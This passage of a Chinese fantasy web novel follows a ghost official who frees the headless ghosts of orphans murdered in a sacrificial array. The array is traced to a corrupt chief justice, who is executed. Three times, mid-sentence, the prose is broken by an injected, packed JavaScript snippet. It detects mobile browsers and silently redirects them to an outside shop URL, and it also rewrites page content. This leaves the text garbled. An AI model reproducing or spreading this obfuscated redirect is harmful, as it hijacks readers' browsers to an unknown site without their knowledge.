“……”池千鲤扶额,“这些话也是他让你说的?” “没有,他三令五申不让我跟你说。” ……你这不也没听吗。 “你怎么说?”范无救下巴一扬,点点那玉佩。 “就跟他说多谢,他生辰时我必回礼。”池千鲤想了想,把盒子盖上收到袖袋里,随手将玉佩系在腰间。说来也巧,那玉佩通体莹白,所用绳结又色淡,与池千鲤一身素衣倒是极为相衬。 范无救面无表情:“你居然还记得他生辰吗。” “不是腊月十八吗。” “那我的呢。” “……” 范无救大怒:“你好过分!” 经了这么一闹,池千鲤的心情倒是好了许多,也有心情应付接下来即将发生的的连轴转探案了。 第二日夜。 池千鲤从公文名录中抬起头,向外看了眼天色,起身收拾东西:“老谢老范,最近我晚上都有些事情,要是轮我夜班,你们替我一下,忙完了请你们吃饭。” “哼。”范无救当场翻了个白眼,“不替。” “没事呀,我来替。”一个清俊儒雅的面庞笑眯眯地抬起头,“小池你放心去忙吧。” 池千鲤手上的动作顿了一下,似笑非笑地抬抬眼皮,意味不明地来了一句:“好乖好乖。” 说完池千鲤就一甩衣袖走出殿中,留下一个脸色铁青的黑无常看着一个当场愣住的白无常。 过了一会儿,来送东西的小鬼一脸疑惑地看着满脸通红的谢必安。 今天见鬼了? 池千鲤赶路很快,一会儿便到了明京南街。 善堂的位置不难辨认,从南街进去,绕过一棵百年老银杏左转,那一整片小巷都是。程大人确实阔气,当年他任正四品大理寺少卿,一听说他做出如此一善举,满京上下皆颂其仁善,一时风头无两,先帝听闻此事也是大喜。又因着他政绩不错,没多久就提了大理寺卿。 只不过,他升官不久后,这善堂中的百余名孤儿们就因一场大火丧生。据说当时程大人悲痛不已,连着做了三天三夜的法事,自又是一番称颂。 不过自那以后,这一片小巷就荒废了。听说这十几年间,不少人在夜晚经过此地,都能听到孩童的啼哭声,瘆得人发慌,渐渐地便成了大家都避讳的地方。 池千鲤一边回想着自己打听到的情报,一边绕进小巷。 “呜呜——呜呜——” 突然有风吹来,吹得背后巷口的银杏叶沙沙地摇,不知是不是池千鲤的错觉,这风声里似乎还夹杂着一些哭声和尖叫声,可是声音太像了,她也辨不太清。 池千鲤神色暗了暗,她是学武之人,耳力很好。她要是觉得有异,那绝对不是空穴来风。 池千鲤没管,仍然缓步走向善堂的遗迹处。 若是没有猜错,这些孩子应该都并未轮回转世,仍然留在此处。这样更好,她直接问问他们当年发生了什么,再顺藤摸瓜找到证据,便不用花费那么大的力气倒推。这样既能使真相水落石出,又能使这些孩子的怨气消弭入了轮回,一举两得。 善堂被烧毁了很多年,荒废许久,无人修葺。建筑早已坍塌,上面尽是火烧过的焦黑,看得人触目惊心。 池千鲤迈步走进去,寻找小鬼的踪迹。 不知何时,风声越来越大,尖叫和啼哭也越来越清晰,几乎就萦绕在池千鲤的耳边。与此同时,风声中还多了一种声音,似乎是童谣声,那声音天真无邪,明显是七八岁孩童的声音。 池千鲤放轻脚步,仔细去听—— “黑天到,黑天到,太阳下山黑天到——” 只听了一句,池千鲤就怔了怔,这是她小时候,母亲唱过的童谣,没想到过了千年,改朝换代,明京中的孩子们,还在唱这首当年家喻户晓的童谣。 她记得接下来一句是—— “小朋友,快家去,妖魔鬼怪要现行——” 妖魔鬼怪? 不对。 池千鲤拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412402|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起眉头。 她记得不是“妖魔鬼怪”,而是“豺狼虎豹”。她的故乡山野丛林繁多,野兽自也多,这首歌谣是编出来教导小朋友,黑夜不要在外贪玩,尽早归家,否则会有危险的,歌词也很简短,只有这两句。 然而那声音还在继续往下唱—— “黑衣魔,白脸妖,闯进家门笑嘻嘻——” “大火起,灰烬落,万籁皆静头入地——” “窸窸窣窣——窸窸窣窣——” 不知道是笑声,还是树叶的摇晃声,或者是脚步声,还是大火的燃烧声,或者是—— 池千鲤冷下脸。 ——四者都有。 池千鲤猛地回头,朝着脚步声的来源就是一击。 “噗——” 来人猝不及防,被她一击打得吐了血,撞在断垣残壁上,却很快就爬起来。池千鲤正要再打,却听到一声低低的呼喝:“是我,熟人!” 池千鲤手下一松,抬头看去,呵,还真是熟人。 她冷眼瞧着擦血的裴明镜,和目睹了全程瑟瑟发抖的金鳞,怒极反笑:“怎么?二位姑娘家里的生意这么闲,有空天天跟着池某瞎逛?” “——还有你。”还没等她二人回答,池千鲤一个闪身,再回来时,手中却多了一个人,“你又是怎么跑出来的?” 被揪住后脖领子的沈宁谣满脸赔笑:“嘿嘿。” 池千鲤就纳了闷了,这东越国的皇帝这么闲? 金鳞真是叫苦不迭。 原本她今天又出来,是想着昨天真是太刺激了,而且吧吵得她头疼的工部尚书和兵部尚书今儿都没递折子上来,大理寺卿吓得又请假了,闲得发慌,正好今天再去见一次鬼去。这个善堂她一直听说闹鬼,那不如就今天来见见。 她哪知道今天又会碰见这个姓池的!早知道烂在宫里了! “得,”池千鲤真是没辙了,“我先送你们仨出去。” “什么?不要啊。”沈宁谣立刻扒拉住池千鲤的裙摆,讨好道,“嘿嘿,大师,您就行行好,让我跟着吧,我保证不给您添乱!” 沈宁谣的想法很简单,虽然池大师说过,她一切都会帮自己解决,但是这是万万不行的!自己的仇自己报,而且池大师一个人孤零零的,两个人,啊不,两只鬼总比一只鬼强。虽然她一路跟着池大师,也没明白到底为什么不去大理寺卿府,要到这儿来。 不过池大师这么厉害的人!做什么都对! 金鳞也磨磨唧唧不是很想走。 裴明镜一看就知道这姓金的还是没放弃招池千鲤入朝为官的想法,气得直翻白眼。 池千鲤才不管这些有的没的,左手提起哇哇乱叫的沈宁谣,右肩背上没缓过来的金鳞,偏头示意裴明镜跟自己走。 一个凡人,一个没啥法力的小鬼,一个不知道是敌是友的神君,把这三个人留下来干什么?吃席? 刚迈开步子,池千鲤难得地,后背传来一丝凉意。 “嘻嘻嘻嘻——嘻嘻嘻嘻——” 只有啼哭声,变成了诡异的嬉笑声,越来越大,越来越大。 5. 百婴含煞厉鬼惊魂(二) 池千鲤警觉起来,能让她感到后背一凉的事情,千年之间少之又少。她暗叫一声不妙,没理吱哇乱叫的沈宁谣和金鳞,加快了脚下步伐。 裴明镜明显也感受到了,脚下越来越快。 “别走呀。”四人一怔,同时听到了这声音。 “别走呀——姐姐——” 这下沈宁谣和金鳞都不敢叫了。 池千鲤回头,后背一僵,被敏感的金鳞觉察到了,她没忍住大叫:“后面是什么?” “……沈宁谣和陛下别回头,捂着眼睛,能跑就跑,不能跑就缩在角落。”池千鲤深吸一口气,部署道,“裴将军站那别动。” 还没从陛下和裴将军两声称呼带来的震惊中缓过神来,裴明镜听到指令,便立刻进入备战状态,面无表情:“我后面有东西是吗?” “是。” “多少?” “目测一百有余,”池千鲤犹豫了一下,补充道,“但也可以说是两百有余。” 裴明镜猛地伸手,打掉身上凉飕飕的东西,随着尖利的叫声回头,倒吸一口凉气。 一百多个没有头的瘦削小孩直直地对着她们,断裂的脖颈处滴滴答答流着血,像僵尸一样摇摇晃晃地走,时不时摸摸地上,抱起地上一个头。 是的,地上的头。 那些小孩的头滚在地上,发出嘻嘻嘻的笑声,其中一个滚到了裴明镜的脚下,但她没有踢。这些小孩摸索着地上的头,摸到一个就试图把它装回自己头上,发现不是自己的,头就哇地一声哭出来,身体则相应地把它扔掉,继续摇摇晃晃地摸索着走。 四周除了这些孩子的哭笑,再也没有别的声音。 ——和童谣里唱的一样。 万籁皆静头入地。 裴明镜咬紧牙关——怪不得那个池大妮说是两百有余。 此刻地上的头咔哒一转,俱都面无表情地看向被裴明镜打下来的无头鬼孩,视线移到裴明镜身上。 池千鲤内心一沉——最坏的结果发生了。 这些小鬼不仅不能好好沟通,甚至具有攻击性。 裴明镜危险了! 在裴明镜还没反应过来的时候,一百多号鬼毫无预兆地扑了上来。但比之更快的,是身后的池千鲤。 池千鲤几乎就像一支离弦之箭窜出去,衣袖一挥,整片鬼群倒退五步,方阵大乱。裴明镜看得惊出了一身冷汗。 但池千鲤的脸色却很差。 她没把握赢。 如果只是打,她当然能赢——哪怕这群鬼,再加一个裴明镜同时向她发难,她也能赢。 但是如果这么打,这群小孩的魂魄会灰飞烟灭,所以她只能收着力,一次一次地驱赶这群小鬼,把它们赶远,再等待他们的下一次进攻。 “裴将军!”池千鲤回头大喊,“你带着陛下和沈宁谣冲出去试试!” 裴明镜下意识地说:“那你怎么办?” 池千鲤反倒愣了一愣,已经很久没人对她说过这句话了。 “先试试!”池千鲤抿抿嘴,继续喊,“她们两个要是能出去,我们俩肯定能。” 裴明镜已经没空也不想去问池千鲤怎么知道她身份了,只是点点头,拎起捂着眼睛缩在角落的一人一鬼转身便跑。 动作快点,裴明镜加快脚步,她看得出来池千鲤在收着力打,她得回去帮忙。 结果一走出去,裴明镜感觉手上一空,她愕然地回头,发现自己是走出去了,金鳞和沈宁谣却还留在门内。 这两人莫名其妙摔了一屁股墩,没忍住睁了眼睛,茫然地看裴明镜。 裴明镜不信邪,回身过去拉二人,没拉过来。 似有一道屏障,隔开了小巷口和小巷外,裴明镜法力高强,下意识地运作气息走过去,可金沈二人却不能。 也就是说,普通人,甚至普通鬼进了这个地方,都走不出去。 裴明镜心凉了半截,大声朝池千鲤汇报:“出不去!” 池千鲤咬咬牙,一个使力把面前这些鬼孩子打得人仰马翻,又一脚踢走几个滚到她身边的头,心里兀自盘算开来。 几个呼吸之后,她做了决定:“裴将军来陪我打,听我指令。” 裴明镜一个闪身就到了池千鲤身边,有样学样地开始向内驱赶这些孩子。 “错了。”池千鲤摇头,“你往那边,前后夹击。” 裴明镜愣了一愣,没有明白。 “去我对面。”池千鲤挥手把一个小孩打翻,冲裴明镜偏头,“绕到那些小孩背后。” 裴明镜仍然不解,不过还是照着池千鲤说的那样,飞到这些孩子身后。 一部分孩子被裴明镜吸引,转身去攻击裴明镜,她学着池千鲤收着力,把孩子驱赶向池千鲤的方向。 几个回合之后,两人竟然诡异地形成了一个包围圈,所有的鬼孩子都被困在这个包围圈内打着转。 “现在——”又是几个回合之后,池千鲤觉得差不多可以了,“陛下,沈姑娘。” 金鳞和沈宁谣忙不迭抬起头,看到那群无头鬼孩又忍不住吓得闭上眼睛。 “你们两个去遗迹深处。” 此话一出,不管是正打着的还是正坐着的都惊了。 “你疯了?”裴明镜没忍住瞪着眼睛质问,手下却没停。 池千鲤摇了摇头:“你也说了,出不去,这代表此地有邪阵。所以为今之计,只有破解阵法才能出去。” 池千鲤直视着裴明镜,用只有她二人能听见的声音说:“监兵神君,你知道邪阵是哪一族的专属吧?” 裴明镜知道,当然知道。 魔族。 那是一个欲求不满、贼心不死的族群。 五大族群,仙族与鬼族互有往来,人族与妖族互不干涉,只有这魔族,肆意妄为,妄想打乱秩序、一统天下。 没想到明京中,居然有魔族留下的痕迹,而且是在十几年前的先帝时期! 裴明镜不免后悔,自己没有早些来看看,一直觉得只是鬼族几个游魂,不归她们仙界管,如此轻视,才造成如今景象。 “金鳞,沈宁谣。”池千鲤没有留太多内疚的时间给裴明镜,她轻轻一挥手赶掉又涌上来的一波鬼孩子,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412403|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边示意那边裴明镜继续,一边不容置疑地道,“你们两个深入遗迹,去看看有没有什么诡异图腾,如果有,能擦掉立刻擦掉,不能擦掉立刻叫我。我和裴将军在这里守着,不会让这些鬼跑出去伤害你们。” 直到这时,裴明镜才对池千鲤这么部署醍醐灌顶。 池大妮——姑且叫这名吧——守前方,自己守后方,形成一个包围圈,为接下来金鳞和沈宁谣的行动扫平障碍。并且如果那两人无法靠自己单独完成,池大妮也可以立刻深入,这些小孩即使想去追她,也有裴明镜拦着。 让战力高的上正面战场,战力低的去做后方工作,且保证如果发生意外,其中一部分高战力能随时撤退支援后方。 多么强的战术思维。 此刻裴明镜也大为震撼。 “沈姑娘,”池千鲤已经放松下来,语气恢复到平时那副悠闲又欠打的嘴脸,还有心情去点评金沈二人的赶路方式,“咱陛下跑得慢,你拉着点呗。” 沈宁谣刚得知这个巧遇了两回的姑娘是当今天子,还没缓过神儿来呢,池千鲤就这么吩咐她。 她沉默地看了看正在鏖战的池千鲤和裴明镜。 这一个二个不是有身份就是有本事? 就她是普通人呗! 亏得沈宁谣胆子大,嘀嘀咕咕地转身拉起金鳞就飘。 金鳞还是第一次在低空中飘,给她玩开心了,甚至开始自来熟地对着沈宁谣问东问西,看着相处得比那边的池裴二人和谐。 那边池千鲤和裴明镜同时沉默了一下,继续任劳任怨地赶鬼。 两人虽然相处得不大和谐,但是极有默契。金沈二人经过的时候,一小撮孩子往那边冲,两人默契地慢慢改变身位,池千鲤往左,裴明镜往右,挡住了那二人可能受到的小部分火力。 池裴二人对视一眼,待那边金沈二人经过危险区域后,又缓慢平移回去,保证待会儿要是后方出事故,池千鲤能及时前往支援。 不过…… 裴明镜沉默地瞅了池千鲤一眼,这人好优哉游哉,明明刚才还不是这样的。 像是摸清楚了局势,所以觉得没什么可怕的了? 裴明镜忍了又忍,还是没憋住问出声:“池……呃,池大妮。” 池千鲤:“……” “什么事?” “你现在看着十分放松。”裴明镜直言不讳道,“接下来没有危险了?” “对。”池千鲤耸耸肩,“没了,而且我能保证那个邪阵一擦就能擦掉。” “什么?”裴明镜愣住了,下意识反驳,“可那邪阵大部分时候伴有机关和反噬,你也说了,让她二人擦不掉就叫你啊。” 话音刚落,这些孩子就像是时间暂停一般,停在了当场,即使有些人还飞扑在空中,也一动未动。 “什么?”裴明镜震惊了。 池千鲤笑眯眯地打了个响指——虽然裴明镜看不到池千鲤的脸,但她感觉这个家伙就是笑了。 随后她又说了一句打破裴明镜固有世界观的话:“那是因为呀,布这个阵的人,根本不是魔界中人。” 6. 百婴含煞厉鬼惊魂(三) “不是魔界中人布的阵?”裴明镜眨眨眼,脑子一时反应不过来,“那还能是谁?你刚刚自己也说了,邪阵是魔界的专属。” 池千鲤扬了扬头,示意裴明镜跟她一起往里走:“邪阵的确一定和魔界之人有关,不过也分高阶和低阶,这里的邪阵就是最低阶。你师父没有教过你?低阶邪阵是魔教教徒也可以布的,而魔教教徒可以是任何一族。” 她说话循循善诱,让裴明镜回忆起从前,小小的自己坐在空地上,看师父舞剑的时光。 她扬眉,语气却松了松:“你怎么能肯定?” “很简单。”池千鲤笑道,“是因为童谣。” “童谣?” “没错,”池千鲤面具下的表情慢慢正经起来,“刚刚你也听到了,童谣的最后一句是‘大火起,灰烬落,万籁皆静头入地’。” “所以呢?”裴明镜还是没明白,“那前一句还是‘黑衣魔,白脸妖’呢。” 说到这里,裴明镜恍然大悟:“难道是妖族?妖族和魔族联手了?” 池千鲤偏头看了一眼裴明镜,虽然看不见脸色,但裴明镜莫名觉得,这一眼应该是七分无奈,三分鄙视。 池千鲤叹了口气:“裴将军,童谣是编给小孩子听的,小孩子可有什么魔族妖族的认知?妖魔鬼怪明显是比方啊,黑衣白脸更是互文。” 裴明镜挠挠头,她小时候没正经读过书,长大了也没兴趣了,自然不知道什么比方不比方,互文不互文的。 “好吧,”裴明镜撇撇嘴,虚心问道,“那你说的最后一句又是什么意思?” 池千鲤敲敲裴明镜:“如果真是魔族所为,他们的尸骸早就被吃得一干二净了,可还会入土?” “哦!”裴明镜摸摸脑袋,恍然大悟,不过旋即又皱起眉头,“那按你所言,这邪阵……” 池千鲤眯着眼睛,只前言不搭后语地回了一句:“让陛下查查你们的大理寺卿。” 裴明镜微微一惊,郑重地点了点头。 虽然眼前的危机已经解决了,但池千鲤的心情并不像她表现出来的那么悠闲,仍然很凝重。 魔族……过了千年,又蠢蠢欲动了么? 池千鲤来之前并没有想到,小小一个人族的大理寺卿,竟然是魔教信徒。 两人无言地走进腹地。 不过眼前场景映入眼帘时,池千鲤实在吃了一惊,又无奈扶额,想着是她们俩能干出来的事。 “金姐,”沈宁谣一脸严肃地扶着一块刻有法阵的大圆木板,“咱这样能行不?” ……都不叫陛下了,改叫姐了。池千鲤嘴角抽了抽。 “能!”金鳞直起腰,自信道,“你金姐我什么没干过?……好吧什么都没干过!但是姐在宫里都看过太监们干活!” 说罢,又弯身下去,吭哧吭哧地用簪子刮那块邪阵,旁边还歪七扭八地躺着一堆断了的簪子。 池千鲤太阳穴突突突地跳。 虽然这办法的确有用就是了。 “哎!”沈宁谣先注意到了池裴二人,喜道,“姐你快看!成功了!” “嗨!”金鳞一抬头,高兴得把簪子一扔,“你俩活着呢?” ……什么话。 池千鲤沉默地看了一眼这个阵,金鳞还挺会,知道往四处都刮两下,此刻这阵已经被刮得面目全非了。 最终池千鲤还是选择拍拍金鳞,叹了口气:“干得不错。” 算啦,才二十几岁,在池千鲤这个千年老鬼看来也还是个小朋友,多鼓励鼓励吧。 金鳞听了这话,像得到主人夸奖的小狗一样不值钱地笑,池千鲤甚至仿佛能看到一条摇来摇去的尾巴。 池千鲤摸摸小狗头,收起笑容,看向这个阵法,半晌,回头过来说:“祭祀阵法。” 这话落下,沈宁谣和金鳞听不懂,可裴明镜却是脸色大变。 “祭祀阵法?”裴明镜上前一步,脱口而出,“是人祭?!” 沈宁谣和金鳞便是不懂,此刻也惊了。这两个字的字面意义就够可怕的了。 三人同时望向池千鲤。池千鲤在三道或不忍或阴沉或期冀的目光下,轻轻地点了点头。 “靠。”在沉默中,裴明镜率先开口,狠狠地一拳砸向旁边的树,任由树叶哗哗啦啦地落下来,“死爹的东西。” 金鳞这次没有制止裴明镜,沉着脸附和:“我朝堂之内竟有如此败类。” 池千鲤听闻这话,倒是意外地看了一眼金鳞。她能说出这话,就代表她是知道这所善堂的主人是谁的,并且从其余三人的表现来看,是除了池千鲤本人之外,唯一一个一开始就知道的。 也对,池千鲤眼睛微眯,金鳞一直以一副傻里傻气的可爱模样示人,不过能位及九五的,哪里有简单的?更何况女子坐上明堂,还要更难。 池千鲤心思流转,金鳞是真的随意逛到这里吗? 不见得。 经历了昨夜的事,她当真不会去查? 想通了这层,池千鲤心思明朗起来。 金鳞这个人啊,你平时可以与她插科打诨,不过要是真觉得她是傻子,她立刻笑眯眯地给你来上一击,到时候惹了她的人,死都不知道怎么死的。 池千鲤又叹又笑。 不过讲实在的,金鳞这种手段,池千鲤是颇为赞同、也大为欣赏的,甚至能从中找到一点和自己的相同之处。 “我认为,”池千鲤向其余三人指指脚下,“这些孩子的头就埋在邪阵下方。” 金鳞紧着追问:“那身体呢?” 池千鲤摇摇头:“身体应该早就烧毁在大火里了。” 现在唯一不知道的沈宁谣也反应过来了,她沉着脸:“是程少歌?” 池千鲤把头转向她,轻轻点点头。 沈宁谣啐了一口:“人渣。” “现在怎么办?就让他们的头呆在这?”裴明镜不忍道。 池千鲤盯着阵法,静默半晌:“挖。” “挖?”其余三人异口同声。 “可我们就四个人,这里有一百个头,又没有工具。”沈宁谣凑到池千鲤耳边,焦急地鬼鬼祟祟道,“而且你知道的,我是偷跑出来的,天亮换班之前要赶回去,挖不完啊?” “不用全挖,”池千鲤眼睛一闪,“挖一两个,剩下的白天有人替我们挖。” 沈宁谣愣了愣,豁然开朗:“原来如此。” 裴明镜和金鳞大眼瞪小眼。 池千鲤凑到两人耳边,嘀咕半晌,金鳞也是眼睛一亮,裴明镜犹豫了一下:“这样做好吗?” “本来我自己来的打算也是这么做,”池千鲤笑眯眯道,“现在你俩来了,只是通知一下你们。” 金鳞:“……” 裴明镜:“……” 好吧。 于是四个人开始纯手挖。 “你们两个不能拿那个很厉害的法术挖吗?”过了一会儿,金鳞最先撑不住了,一个摇晃栽到坑里,全身泥乎乎地爬出来,此刻正蹲在旁边,一脸怨气地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412404|200702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 询问池千鲤和裴明镜,“就像刚才一样?” 池千鲤摇头:“会伤到遗体。” 于是金鳞闭嘴了。 过了一会儿,沈宁谣去歇一会儿,金鳞跑回来。 片刻,裴明镜去甩甩手,沈宁谣又飘回来。 她们都时有休憩,可一路都从未放弃。 池千鲤身边的人换了又换,她自己却像个永动机一直刨。 沈宁谣侧目。 池千鲤恍若未觉,只是一直挖,动作不快也不慢,持续地、用力地、肌肉紧绷地。 沈宁谣眨了眨眼,刚刚池千鲤淡淡的反应还让她觉得,池千鲤一点都不悲伤,一点都不近人情。 但是说悲伤,好像也不是。 连绵而长久的什么东西,把她悲伤的本能都消磨殆尽,如今取而代之的,是另一种情绪。 ——表面未觉、却目眦欲裂的,保持平静、却波涛汹涌的。 不知不觉间,天边泛起了鱼肚白。 不知道什么时候,四个人又都聚集在了一起往外刨土,池千鲤一直没有休息过。 “我摸到了!”金鳞突然惊叫出声,“我摸到了!一块硬东西!” 池千鲤面具下的眼神一凛,大声道:“小心些,让我来,别弄碎了!” 三人对视一眼,不约而同地退开三步。 池千鲤走到刚刚金鳞站的位置,轻柔地、温和地、半是摸索地、小心翼翼地扒开那一片土地。 那是一块幼小的、完整的、白森森的头骨。 池千鲤心里微微一动。 半炷香后,池千鲤轻轻地抱起了那颗脏兮兮的头骨,泥土和烂叶溅在了前夜连鲜血都未曾沾染过的白袍上。 后面的三人有些微异动,不知是谁先唤了一声池千鲤。 与此同时,池千鲤感觉自己的裙摆被微微扯了一下。 池千鲤回头,怔忪地看着面前半透明的小女孩身影。 后面一帮没有头的苍白小孩不知何时已经消失了,眼前的小女孩看上去很正常,如果忽略她半透明的身体,几乎和平常小孩没什么两样。只是身形有些瘦削,穿着对她来说过于宽大而陈旧的衣裳,却很干净很整洁。她扎着两股乱乱的羊角辫,明显是自己扎的,是先帝时期孩子中很流行的发型。 池千鲤隐隐想起来,她刚刚在战斗中看见过这个孩子的。她的头滚在地上,把羊角辫弄脏了,所以哇哇乱哭。池千鲤不忍心,于是把她赶走的时候,总只是轻轻一推。 爱漂亮的小女孩踮着脚,很好奇地往池千鲤怀里看了一眼。 池千鲤有些心虚地把手臂收了收。 小女孩见池千鲤不乐意给她看,瘪了瘪嘴,像这个年纪的所有寻常小孩一样。 天边的太阳摇摇晃晃地越升越高,快要照到善堂里来了。 小女孩慢慢收起了所有表情。 不知为何,池千鲤跟她对视的时候,有些莫名的紧张。 小女孩动了动嘴唇,池千鲤没有听清她说了什么,但看清了,她说的是谢谢你。 有一只斑斓的蝴蝶飞过,小女孩眼睛一亮,伸手去抓,但是她实在太小啦,怎么都抓不到。眼见那只蝴蝶快要飞走了,池千鲤手忙脚乱地抓住,然后递到小女孩面前。 咦? 池千鲤愣住了,面前哪还有小女孩的影子,只有一簇蓝色火苗,越升越高,也越来越淡。 最终它消失了。 在它消失的一瞬间,黎明的太阳终于姗姗来迟地降临。 7. 三请贤才有始无终 天和十年七月十七早,一明京南街的居民早起赶集,发现银杏巷里一片混乱。由于银杏巷里时常闹鬼,她本不想去,可一想如今是白天,还是壮着胆子,进去探查一二。进去没走几步,感觉踩到了个什么硬东西,往脚底一看,居然是块头骨,陈大娘吓了一跳,赶紧报官。 好巧不巧,天和帝正好在京兆尹视察,听闻此事觉得极为离奇,决定亲自彻查,最终挖出了一桩沉寂十年的惊天大案——这事儿居然和素来威名在外的大理寺卿十年前开的善堂脱不了干系。 并且令人发指的是,在善堂的遗迹内竟不止发现一块头骨,多达一百零八。老京城们都知道当年这些孩子是葬身于火海,怎可能留下完整头骨,除非他们早在大火之前就早已被杀害。 天和帝大怒,下令将大理寺卿程少歌押入天牢候审。与此同时,一封封实名举报信飞入京兆尹,都在控诉前大理寺卿的种种恶行,还有不会写字的百姓互相搀扶,跪在衙门口上诉。 池千鲤在崔判官那儿做完百来名孩子的统计后,带沈宁谣去看了一眼。有一对老夫妻走过时,沈宁谣的眼睛湿润润的,池千鲤就知道,那是沈宁谣的父母。 天和十年八月初五,大理寺卿程少歌,贪赃枉法,媚上欺下,罔顾人伦,草菅人命,令人发指,判枭首于市,首级挂于城门三日示众。 等到金鳞着急忙慌地把此案了结,再把手上堆积的折子批完,拉着裴明镜去找两只鬼的时候,已经八月中旬了。 两人先去了银杏巷,那里现在给孩子们立了个碑,街坊中有些好心的大娘会时常来上炷香;又去了原大理寺卿府,那里已经被抄了个干净,就剩个空壳,愁云惨淡的;最后去了北郊,那是第一次与池千鲤和沈宁谣说话的地方。 可是那两个人都不在。 夜已深了,金鳞垂头丧气地往回走。 “咦?”池千鲤挑挑眉头,看看前面的背影,“陛下?裴将军?” “哎?”金鳞惊喜地转过头来,“你们在这里呀!” “嗯,”池千鲤客气地笑了笑——所有人就是感觉这家伙在笑,“沈姑娘刚刚最后去看了一眼她的父母。” “最后?”金鳞大惊,“沈姑娘你去哪里?万不可做傻事啊!” 池千鲤稀奇地看了一眼金鳞:“她自然是要去投胎的了,审批已经通过了。” 说完池千鲤疲惫地扶了扶面具——前几日一下子多了一百多个小孩投胎去,她、谢必安、范无救三人加班加点地翻卷轴找人家,脚不沾地地忙了五天五夜,如今累得满身怨气。 “啊,”金鳞恍然大悟,“那今后就见不到了,好可惜。” “投胎是好事,你们该恭喜她才对。”池千鲤揣着手臂站在一边。 “也是,”裴明镜难得露了笑,“那便祝沈姑娘下辈子平平安安万事如意。” “多谢三位。”沈宁谣很开心地笑了,只是那笑中带着点不舍,“三位真是大好人,池大师说了,下辈子给我选的还是东越人家。” “是池大人。”池千鲤板着脸道。 沈宁谣后退三步,静静地一一望过池千鲤、金鳞、裴明镜,最后以手抱拳,行了个不怎么标准的江湖礼节,这应该是跟裴明镜学的。 沈宁谣张了张嘴,最终还是什么都没说,兴许是怕说出来,离别的眼泪就要掉。 最后她身形慢慢消散,“啪”地一下,化为了万千闪耀如星的光点。 有一阵温和的风吹来,光点不舍地绕着三人组转了一圈,最终随风而去,消失在遥远的天边里。 三人抬头望着,谁都没有说话。隔了很久很久,金鳞吸了吸鼻子开口: “这每人投胎特效还不同啊?” 池千鲤:“……” 裴明镜:“……” 池千鲤转身就走。 “哎哎哎哎别走嘛!”金鳞连忙赔着笑拉住池千鲤,“我说大妮你可真较真,我这不是活跃一下气氛。” 池千鲤听到大妮这两个字心里一梗。 当初为什么不给自己起好听点的名字,嗯? “知道了,”半晌,池千鲤咬牙切齿地吐出一句话,“二丫。” “我才不叫二丫,我叫金鳞。”金鳞吐吐舌头,“金鳞岂是池中物,一遇风云便化龙。怎么样,好听吧?” 池千鲤不理,转而正色道:“好了,你们找我,是有何事?” 金鳞装傻:“什么何事,我们当然是来找你玩啊,哎嘿嘿嘿嘿……” 她看着池千鲤一动未动的身形声音越变越弱,最后小声嗫嚅:“你怎么知道我们找你有事?” 池千鲤瞥了她一眼:“陛下要是无事,可从来不主动出宫。第一次相见,怕也不是一时兴起去见鬼吧?” 怕是蓄谋已久,去寻扳倒大理寺卿的证据才对。 “能让陛下这么提防的人,背后可一定不简单。”池千鲤微微一笑,“大理寺卿背后是谁?如今是坐不住了?” 金鳞有些犹豫地看了看四周,裴明镜一下便懂了她意思,抱拳冲池千鲤道:“还请池姑娘同我们回宫……回府细谈。” 片刻后,养心殿。 池千鲤刮刮茶沫,吹了一口,一边抬起眼皮道:“陛下有什么话便说吧。” 金鳞点了点头,遣退所有仆从,对裴明镜一个眼神。她会意,立刻一个翻身出窗,三步跃到房顶上放风。 “是这样的,”金鳞的脸色难得有些沉重,“不知池姑娘对先帝时期的前太子了解多少?” 池千鲤的脸色并无多少意外。 前太子金清宸与天和帝金鳞,是一对水火不容的宿敌。在民间说书人嘴里,这对兄妹各自为政、针锋相对,斗得你死我活、两败俱伤。当然,这中间具体发生了什么事,乃是不为人知的皇家秘辛,百家也众说纷纭,甚至说他俩是相爱相杀的都有,原因也振振有词——不然为什么金鳞斗赢了金清宸,不将其诛之,只是幽禁东宫,还好吃好喝地供了十年呢? 对这种说法池千鲤不置可否,她对皇帝的感情史没兴趣。当然,唯一可以证实的是,当年金清宸护送金鳞和亲北燕,金鳞却回身杀了他个措手不及,太子重伤不起,公主弑父登基。 这就是震惊越燕两国的白虎门之战。 池千鲤点点头:“原来那大理寺卿是太子党,这便可以理解陛下为何要赶尽杀绝了。” 继位十年,民生稳定,朝政渐安,君威已起,这位艰难前行的女帝处理完一堆接踵而来的问题,也是时候像之前的皇帝一样,开始清除异己了。 金鳞愣了一下,旋即笑道:“池姑娘果真聪敏过人。” 